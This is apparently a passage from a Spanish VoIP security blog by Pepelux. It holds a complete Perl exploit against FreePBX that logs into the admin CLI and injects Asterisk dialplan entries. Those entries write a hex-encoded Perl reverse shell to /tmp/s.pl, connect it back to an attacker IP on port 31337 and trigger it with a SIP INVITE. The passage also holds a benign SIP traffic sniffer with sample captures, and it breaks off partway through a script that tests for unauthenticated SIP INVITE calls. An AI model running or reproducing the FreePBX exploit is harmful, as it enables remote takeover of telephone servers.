      $0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -port 31337
      $0 -h 192.168.1.1 -u admin -p 12345 -es
	};

	print "\n";
	exit 1;
}

Segundo script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;
#use LWP::Debug qw(+);

my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";
my $call = 0;
my $euser = "";
my $epass = "";
my $auto = 0;

print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my $result = GetOptions ("h=s" => \$host,
 "u=s" => \$user,
 "ip=s" => \$ip,
 "port=s" => \$port,
 "p=s" => \$pass,
 "cli=s" => \$cli,
 "ext=s" => \$ext,
 "call+" => \$call,
 "user=s" => \$euser,
 "pass=s" => \$epass,
 "cs+" => \$create,
 "es+" => \$execute,
 "auto+" => \$auto);

if ($host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0 && $auto eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }
if ($call eq 1 && $ip eq "") { help(); exit 1; }

$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");

if ($auto eq 1) {
 $create = 1;
 $execute = 1;
}

# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";

my $origip = $ip;

$ip = encode($ip);
$port = encode($port);

# Comandos para crear una shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local

my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";

# Comandos para ejecutar la shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local

my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";

my $url = "http://" . $host . "/admin/config.php";

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);

my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
 Content => [ username => $user, password => $pass, submit => 'Login' ]);

my $response = $ua->post($url, @header);

$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;

$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;

$url = "http://" . $host . "/admin/config.php?type=tool&display=cli";

if ($cli ne "") {
 my $res = asterisk_cli($cli);
 print "$res\n";
}

if ($create eq 1) {
 asterisk_cli($dreload);
 sleep(2);
 asterisk_cli($sc1);
 asterisk_cli($sc2);
 asterisk_cli($sc3);
 asterisk_cli($sc4);
 asterisk_cli($sc5);
 asterisk_cli($sc6);
 asterisk_cli($sc7);
 asterisk_cli($sc8);
 asterisk_cli($sc9);
 asterisk_cli($sc10);
 my $res = asterisk_cli($dshow);
 print "$res\n";

 if ($call eq 1) {
 sleep(5);
 invite($ext, $host, "5060", $origip, $euser, $epass);
 sleep(3);
 }
}

if ($execute eq 1) {
 asterisk_cli($dreload);
 sleep(2);
 asterisk_cli($se1);
 asterisk_cli($se2);
 asterisk_cli($se3);
 my $res = asterisk_cli($dshow);
 print "$res\n";

 if ($call eq 1) {
 sleep(5);
 invite($ext, $host, "5060", $origip, $euser, $epass);
 sleep(3);
 }
}

exit;

sub asterisk_cli {
 my $command = shift;

 @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
 Content => [ txtCommand => $command ]);

 my $response = $ua->post($url, @header);
 my $result = $response->content;

 my $x = index($result, "<pre>") + 5;
 my $y = index($result, "</pre>");
 $result = substr($result, $x, $y-$x);

 return $result;
}

sub encode {
 my $data = shift;

 $data =~ s/3/\\\\x33/g;
 $data =~ s/1/\\\\x31/g;
 $data =~ s/2/\\\\x32/g;
 $data =~ s/4/\\\\x34/g;
 $data =~ s/5/\\\\x35/g;
 $data =~ s/6/\\\\x36/g;
 $data =~ s/7/\\\\x37/g;
 $data =~ s/8/\\\\x38/g;
 $data =~ s/9/\\\\x39/g;
 $data =~ s/\./\\\\x2e/g;

 return $data;
}

sub invite {
 my $tfno = shift;
 my $astip = shift;
 my $nport = shift;
 my $myip = shift;
 my $user = shift;
 my $pass = shift;

 print "\nRealizando llamada ... \n\n";

 my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$astip, Timeout => 2);

 my $lport = $sc->sockport();

 my $branch = &generate_random_string(71, 0);
 my $callerid = &generate_random_string(32, 1);

 my $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 1 INVITE\n";
 $msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
 $msg .= "Content-Type: application/sdp\n";
 $msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
 $msg .= "User-Agent: Zoiper rev.11619\n";
 $msg .= "Allow-Events: presence, kpml\n";
 $msg .= "Content-Length: 181\n\n";

 $msg .= "v=0\n";
 $msg .= "o=Z 0 0 IN IP4 $myip\n";
 $msg .= "s=Z\n";
 $msg .= "c=IN IP4 $myip\n";
 $msg .= "t=0 0\n";
 $msg .= "m=audio 8000 RTP/AVP 0 101\n";
 $msg .= "a=rtpmap:0 PCMU/8000\n";
 $msg .= "a=rtpmap:101 telephone-event/8000\n";
 $msg .= "a=fmtp:101 0-15\n";
 $msg .= "a=sendrecv\n\n";

 print $sc $msg;

 print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

 my $nonce = "";
 my $realm = "";
 my $data = "";

 LOOP: {
 while (<$sc>) {
 my $line = $_;

 if ($line =~ /nonce/ && $nonce eq "") {
 $line =~ /nonce\=\"(\w+)\"/i;

 if ($1) {
 $nonce = $1;
 }
 }

 if ($line =~ /realm/ && $realm eq "") {
 $line =~ /realm\=\"(\w+)\"/i;

 if ($1) {
 $realm = $1;
 }
 }

 $data .= $line;

 if ($line =~ /^\r\n/) {
 last LOOP;
 }
 }
 }

 if ($data ne "") {
 print "\nReceiving:\n=========\n$data\n\n" if ($v eq 1);

 $msg = "ACK sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>;tag=as66051ead\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 1 ACK\n";
 $msg .= "Content-Length: 0\n\n";

 print $sc $msg;

 print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

 $branch = &generate_random_string(71, 0);

 my $md5 = Digest::MD5->new;
 $md5->add($user, ':', $realm, ':', $pass);
 my $HXA = $md5->hexdigest;
 my $uri = "sip:".$tfno."@".$astip.";transport=UDP";

 $md5 = Digest::MD5->new;
 $md5->add('INVITE', ':', $uri);
 my $HXB = $md5->hexdigest;

 $md5 = Digest::MD5->new;
 $md5->add($HXA, ':', $nonce, ':', $HXB);
 my $response = $md5->hexdigest;

 $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-e400a1db44b6e0b7-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 2 INVITE\n";
 $msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
 $msg .= "Content-Type: application/sdp\n";
 $msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
 $msg .= "User-Agent: Zoiper rev.11619\n";
 $msg .= "Authorization: Digest username=\"$user\",realm=\"$realm\",nonce=\"$nonce\",uri=\"$uri\",response=\"$response\",algorithm=MD5\n";
 $msg .= "Allow-Events: presence, kpml\n";
 $msg .= "Content-Length: 181\n\n";

 $msg .= "v=0\n";
 $msg .= "o=Z 0 0 IN IP4 $myip\n";
 $msg .= "s=Z\n";
 $msg .= "c=IN IP4 $myip\n";
 $msg .= "t=0 0\n";
 $msg .= "m=audio 8000 RTP/AVP 0 101\n";
 $msg .= "a=rtpmap:0 PCMU/8000\n";
 $msg .= "a=rtpmap:101 telephone-event/8000\n";
 $msg .= "a=fmtp:101 0-15\n";
 $msg .= "a=sendrecv\n\n";

 print $sc $msg;

 print "Sending:\n=======\n$msg\n\n" if ($v eq 1);

 $data = "";
 my $server = "";

 LOOP: {
 while (<$sc>) {
 my $line = $_;

 if ($line =~ /[Ss]erver/ && $server eq "") {
 $line =~ /[Ss]erver\:\s(.+)\r\n/;

 if ($1) {
 $server = $1;
 }
 }

 $data .= $line;

 if ($line =~ /^\r\n/) {
 last LOOP;
 }
 }
 }

 if ($v eq 1) {
 print "\nReceiving:\n=========\n$data\n\n";
 }

 my $dhost = "$astip:$nport";
 $dhost .= "\t" if (length($dhost) < 10);
 $server = "Unknown" if ($server eq "");
 }

 print "Llamada finalizada \n\n";
}

sub generate_random_string {
 my $length_of_randomstring = shift;
 my $only_hex = shift;
 my @chars;

 if ($only_hex == 0) {
 @chars = ('a'..'z','0'..'9');
 }
 else {
 @chars = ('a'..'f','0'..'9');
 }
 my $random_string;
 foreach (1..$length_of_randomstring) {
 $random_string.=$chars[rand @chars];
 }
 return $random_string;
}

sub help {
 print qq{
:: FreePBX for fun & profit - by Pepelux ::
 -------------------------------------

Uso: $0 -h <host> -u <user> -p <pass> [opciones]

 == Opciones ==
 -cli <commando> = Ejecutar comando de Asterisk
 -cs = Crear una shell
 -es = Ejecutar una shell
 -auto = Crea y ejecuta una shell
 -ip = Nuestra IP para la shell (para -cs y -call)
 -port = Puerto para la shell (por defecto: 31337)
 -ext = Extension a crear (por defecto: 999)
 -call = Realizar llamada tras la inyeccion
 -user = Usuario de nuestra extension
 -pass = Password de nuestra extension

 == Ejemplos ==
 $0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
 $0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -call -user 206 -pass 1234
 $0 -h 192.168.1.1 -u admin -p 12345 -es -ip 192.168.1.2 -call -user 206 -pass 1234
 $0 -h 192.168.1.1 -u admin -p 12345 -auto -ip 192.168.1.2 -call -user 206 -pass 1234
 };

 print "\n";
 exit 1;
}

Saludos!

SIP Monitor

Cuando en un entorno de VoIP gestionas muchos usuarios es muy complicado seguir el log que muestra el CLI para ver exactamente dónde hay un error concreto. Muchas veces debes filtrar algún usuario con determinados problemas, por ejemplo de registro, y la verdad es que se hace bastante engorroso realizar un seguimiento de los paquetes. Por otro lado, también resulta un poco coñazo realizar capturas con Tcpdump para luego descargar en otro equipo con entorno gráfico y analizar posteriormente mediante Wireshark.

Para agilizar un poco este proceso he creado un script en Perl muy sencillo que permite aplicar algunos filtros de búsquedas, mostrando por pantalla únicamente aquellos paquetes que necesitemos.

sipmon

El script no es más que un sniffer que monitoriza el tráfico TCP y/o UDP en los puertos que especifiquemos y que nos mostrará los paquetes de señalización SIP que capture. Como se puede ver en la imagen, podemos realizar las capturas que más nos interesen, por ejemplo:

  • Analizar los paquetes con origen o destino hacia una determinada IP.
  • Buscar paquetes con un usuario de registro específico.
  • Monitorizar TCP y/o UDP.
  • Filtrar por método: INVITE, REGISTER, OPTIONS, etc.

Para poderlo usar necesitamos instalar algunas dependencias:

Net::PcapUtils -> http://search.cpan.org/CPAN/authors/id/T/TI/TIMPOTTER/Net-PcapUtils-0.01.tar.gz
Net::Pcap -> http://search.cpan.org/CPAN/authors/id/K/KC/KCARNUT/Net-Pcap-0.05.tar.gz – apt-get install libnet-pcap-perl
Net::SIP -> http://search.cpan.org/CPAN/authors/id/S/SU/SULLR/Net-SIP-0.68.tar.gz – apt-get install libnet-sip-perl
NetPacket::Ethernet -> http://search.cpan.org/CPAN/authors/id/A/AT/ATRAK/NetPacket-0.04.tar.gz
Net::Address::IP::Local -> http://search.cpan.org/CPAN/authors/id/J/JM/JMEHNLE/net-address-ip-local/Net-Address-IP-Local-0.1.2.tar.gz

Y el script:

#!/usr/bin/perl
# Jose Luis Verdeguer AKA Pepelux <verdeguer@zoonsuite.com>
# Twitter: @pepeluxx

use strict;
use Net::PcapUtils;
use Getopt::Long;
use Net::SIP ':all';
use NetPacket::Ethernet;
use NetPacket::IP;
use NetPacket::TCP;
use Net::Address::IP::Local;

# Do no buffering - flushing output directly
$|=1;

# Declaration of functions
sub f_probe_pcapinit;
sub f_probe_read80211b_func;
sub f_probe_ctrl_c;

# Declaration of global variables
my $g_pcap_err = '';
my $g_cap_descrip;
my ($address, $netmask, $err);
my $ip;
my $ether;
my $tcp;
my $myfilter;
my $myaddress;

# Params
my $dev = '';
my $sudp= 0;
my $stcp = 0;
my $port = '';
my $method = '';
my $user = '';
my $oip = '';
my $h = 0;

# Packet struct
my $len = 38;      # 0x26 -> srcport (2)
my $request = 42;  # 0x2a -> SIP request

sub init() {
	# check params
	my $result = GetOptions ("i=s" => \$dev,
				 "p=s" => \$port,
				 "m=s" => \$method,
				 "udp+" => \$sudp,
				 "tcp+" => \$stcp,
				 "user=s" => \$user,
				 "ip=s" => \$oip,
				 "help+" => \$h,
				 "h+" => \$h);

	help() if ($h eq 1);

	my $login = (getpwuid $>);
	die "must run as root" if $login ne 'root';

	$myaddress = Net::Address::IP::Local->public;

	my $proto = '';
	my $port1 = '';
	my $port2 = '';
	my $addr1 = '';
	my $addr2 = '';

	if ($sudp eq 0 && $stcp eq 0) {
		$sudp = 1;
		$stcp = 1;
		$proto = "(udp || tcp)";
		$port1 = "(dst port 5060 || dst port 5061)" if ($port eq "");
		$port2 = "(src port 5060 || src port 5061)" if ($port eq "");
	}
	else {
		if ($sudp eq 1) {
			$proto = "udp";
			$port1 = "dst port 5060" if ($port eq "");
			$port2 = "src port 5060" if ($port eq "");
		}
		else {
			$proto = "tcp";
			$port1 = "dst port 5061" if ($port eq "");
			$port2 = "src port 5061" if ($port eq "");
		}
	}

	if ($port ne "") {
		$port1 = "dst port $port";
		$port2 = "src port $port";
	}

	if ($oip eq "") {
		$addr1 = "dst $myaddress && $port1";
		$addr2 = "src $myaddress && $port2";
	}
	else {
		$addr1 = "(dst $myaddress && $port1 && src $oip)";
		$addr2 = "(src $myaddress && $port2 && dst $oip)";
	}

	$dev = Net::Pcap::lookupdev(\$err) if ($dev eq "");

	if (Net::Pcap::lookupnet($dev, \$address, \$netmask, \$err)) {
	    die 'Unable to look up device information for ', $dev, ' - ', $err;
	}

	$myfilter = "$proto && (($addr1) || ($addr2))";

	print "Interface: $dev ($myaddress)\n";
	print "Filter: $myfilter\n";

	if ($method eq "") { print "Method: ALL\n"; }
	else { print "Method: " . uc($method) . "\n"; }

        print "\n";

	f_probe_pcapinit;
}

sub f_probe_pcapinit {
	$g_cap_descrip = Net::Pcap::open_live($dev, 1500, 0, 0, \$err);

	unless (defined $g_cap_descrip) {
	    die 'Unable to create packet capture on device ', $dev, ' - ', $err;
        }

        # Create filter.
	my $filter;
	Net::Pcap::compile($g_cap_descrip, \$filter, $myfilter, 0, $netmask) && die 'Unable to compile packet capture filter';
	Net::Pcap::setfilter($g_cap_descrip, $filter) && die 'Unable to set packet capture filter';

	# Initiate endless packet gathering.
	Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
};

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack('H*',$packet);

	$ether = NetPacket::Ethernet::strip($packet);
	$ip = NetPacket::IP->decode($ether);
	$tcp = NetPacket::TCP->decode($ip->{'data'});

	if (len($data) > 12) {
		my $sipdata = siprequest($data);
		log_data($sipdata) if (ascii2hex(substr($sipdata, 0, 1)) ne "00");
	}
};

sub siprequest {
	my $data = shift;
	$data = substr($data, $request*2);

	return hex2ascii($data);
};

sub len {
	my $data = shift;
	$data = substr($data, $len*2, 4);

	return hex($data);
};

sub log_data {
	my $sip_pkt = Net::SIP::Packet->new_from_string(@_);
	my $req = Net::SIP::Packet->new_from_string($sip_pkt->as_string);

	my $from = $sip_pkt->get_header('from');
	{
		my @values = split(';', $from);
		$from = $values[0];
	}

	my $to = $sip_pkt->get_header('to');
	{
		my @values = split(';', $to);
		$to = $values[0];
	}

	if ($method eq "" || $req->method eq uc($method)) {
		if ($user eq '' || $from =~ /$user/i || $to =~ /$user/i) {
			print $ip->{'src_ip'}.':'.$tcp->{'src_port'}.' => '.$ip->{'dest_ip'}.':'.$tcp->{'dest_port'}."\t(".$req->method.") ";
			if($sip_pkt->is_response()) { print "\tResponse: ".$req->code; }
			else { print "\tRequest"; }
			print "\n";
			print $sip_pkt->as_string."\n\n";
		}
	}
}

sub ascii2hex($) {
	(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
	return $str;
};

sub hex2ascii($) {
	(my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
	return $str;
};

sub help {
	print qq {
Usage:  $0 [options]

    == Options ==
      -i <iface>       = interface (default try to get automatically)
      -p <port>        = port (default 5060/udp and 5061/tcp)
      -m <method>      = scan only a method (default show all: REGISTER, INVITE, ...)
      -udp             = scan only UDP (default UDP + TCP)
      -tcp             = scan only TCP (default UDP + TCP)
      -ip <addr>       = filter remote IP (default show all)
      -user <data>     = filter user in 'To' or 'From' (default show all)
      -h, -help        = This help

    == Examples ==
      $0 -udp -ip "80.80.80.0/24" -p 5080
      $0 -i eth0 -user "mysipuser"
      $0 -ip "80.80.80.0/24" -user "mysipuser"

};

	exit 1;
};

init();

Supongamos el caso de que queremos monitorizar el registro de un usuario ‘pruebas’. Podemos hacer lo siguiente:


root@sip:~# perl sipmon.pl -m REGISTER -user "pruebas"
Interface: eth0 (X.X.224.7)
Filter: (udp || tcp) && ((dst X.X.224.7 && (dst port 5060 || dst port 5061)) || (src X.X.224.7 && (src port 5060 || src port 5061)))
Method: REGISTER

X.X.194.138:5080 => X.X.224.7:5060 (REGISTER) Request
REGISTER sip:sip.myserver.com SIP/2.0
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bK85544896f396b9b8
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>
Contact: <sip:pruebas204@192.168.200.2:5080;transport=udp>
Supported: path
Authorization: Digest username="pruebas204", realm="sip", algorithm=MD5, uri="sip:sip.myserver.com", nonce="31dff2d2", response="a4a80fd271da7fae67b2d7f070d99674"
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47423 REGISTER
Expires: 120
User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

X.X.224.7:5060 => X.X.194.138:5080 (REGISTER) Response: 401
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bK85544896f396b9b8;received=X.X.194.138;rport=5080
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>;tag=as39c9e1bd
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47423 REGISTER
Server: sip
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="sip", nonce="2f022db4"
Content-Length: 0

X.X.194.138:5080 => X.X.224.7:5060 (REGISTER) Request
REGISTER sip:sip.myserver.com SIP/2.0
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bKa5b835310120bb10
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>
Contact: <sip:pruebas204@192.168.200.2:5080;transport=udp>
Supported: path
Authorization: Digest username="pruebas204", realm="sip", algorithm=MD5, uri="sip:sip.myserver.com", nonce="2f022db4", response="7cc357c57b0198d9bdbcad0cf2870710"
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47424 REGISTER
Expires: 120
User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

X.X.224.7:5060 => X.X.194.138:5080 (REGISTER) Response: 200
SIP/2.0 200 OK
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bKa5b835310120bb10;received=X.X.194.138;rport=5080
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>;tag=as39c9e1bd
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47424 REGISTER
Server: sip
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Expires: 120
Contact: <sip:pruebas204@192.168.200.2:5080;transport=udp>;expires=120
Date: Thu, 04 Apr 2013 20:11:14 GMT
Content-Length: 0

Como podemos ver en el resultado, únicamente nos aparece el tráfico de la señalización SIP correspondiente a ese usuario, algo bastante útil si tenemos cientos de clientes conectados. En este caso:

Cliente -> Servidor (REGISTER)
Servidor -> Cliente (401 Unauthorized)
Cliente -> Servidor (REGISTER)
Servidor -> Cliente (200 OK)

Asterisk – INVITE attack (II)

Hace casi un año (cómo pasa el tiempo) escribí una entrada sobre cómo es posible realizar llamadas a través de un sistema de VoIP sin disponer de ninguna cuenta en el sistema, si se diera el caso de que el servidor no está bien configurado. Si no has leído la entrada, la puedes ver aquí: Asterisk – INVITE attack

Tal y como comenté, en la web de Sinologic podemos comprobar si nuestro servidor es vulnerable ante estos ataques, pero para una mejor comprensión, he programado un pequeño script con el que podemos comprobarlo:

#!/usr/bin/perl
# -=-=-=-=-=-=-=
# SipINVITE v1.0
# -=-=-=-=-=-=-=
#
# Pepelux <pepelux[at]gmail[dot]com>

use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;

my $host = '';	   # host
my $port = '';	   # port
my $number = '';	# number to call

my $lport = "5061";
my $myip = "192.168.2.9";

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("h=s" => \$host,
	                         "n=s" => \$number,
	                         "p=s" => \$port);

	help() if ($host eq "" || $number eq "");

	$port = "5060" if ($port eq "");

	invite($host, $port, $number);

	exit;
}

sub invite {
	my $ip = shift;
	my $nport = shift;
	my $user = shift;

	my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip, Timeout => 2);

	$lport = $sc->sockport();

	my $branch = &generate_random_string(71, 0);
	my $callerid = &generate_random_string(32, 1);

	my $msg = "INVITE sip:".$number."@".$ip.";transport=UDP SIP/2.0\n";
	$msg .= "Supported: \n";
	$msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n";
	$msg .= "Contact: $user <sip:".$user."@".$myip.":$lport>\n";
	$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n";
	$msg .= "Call-id: $callerid\n";
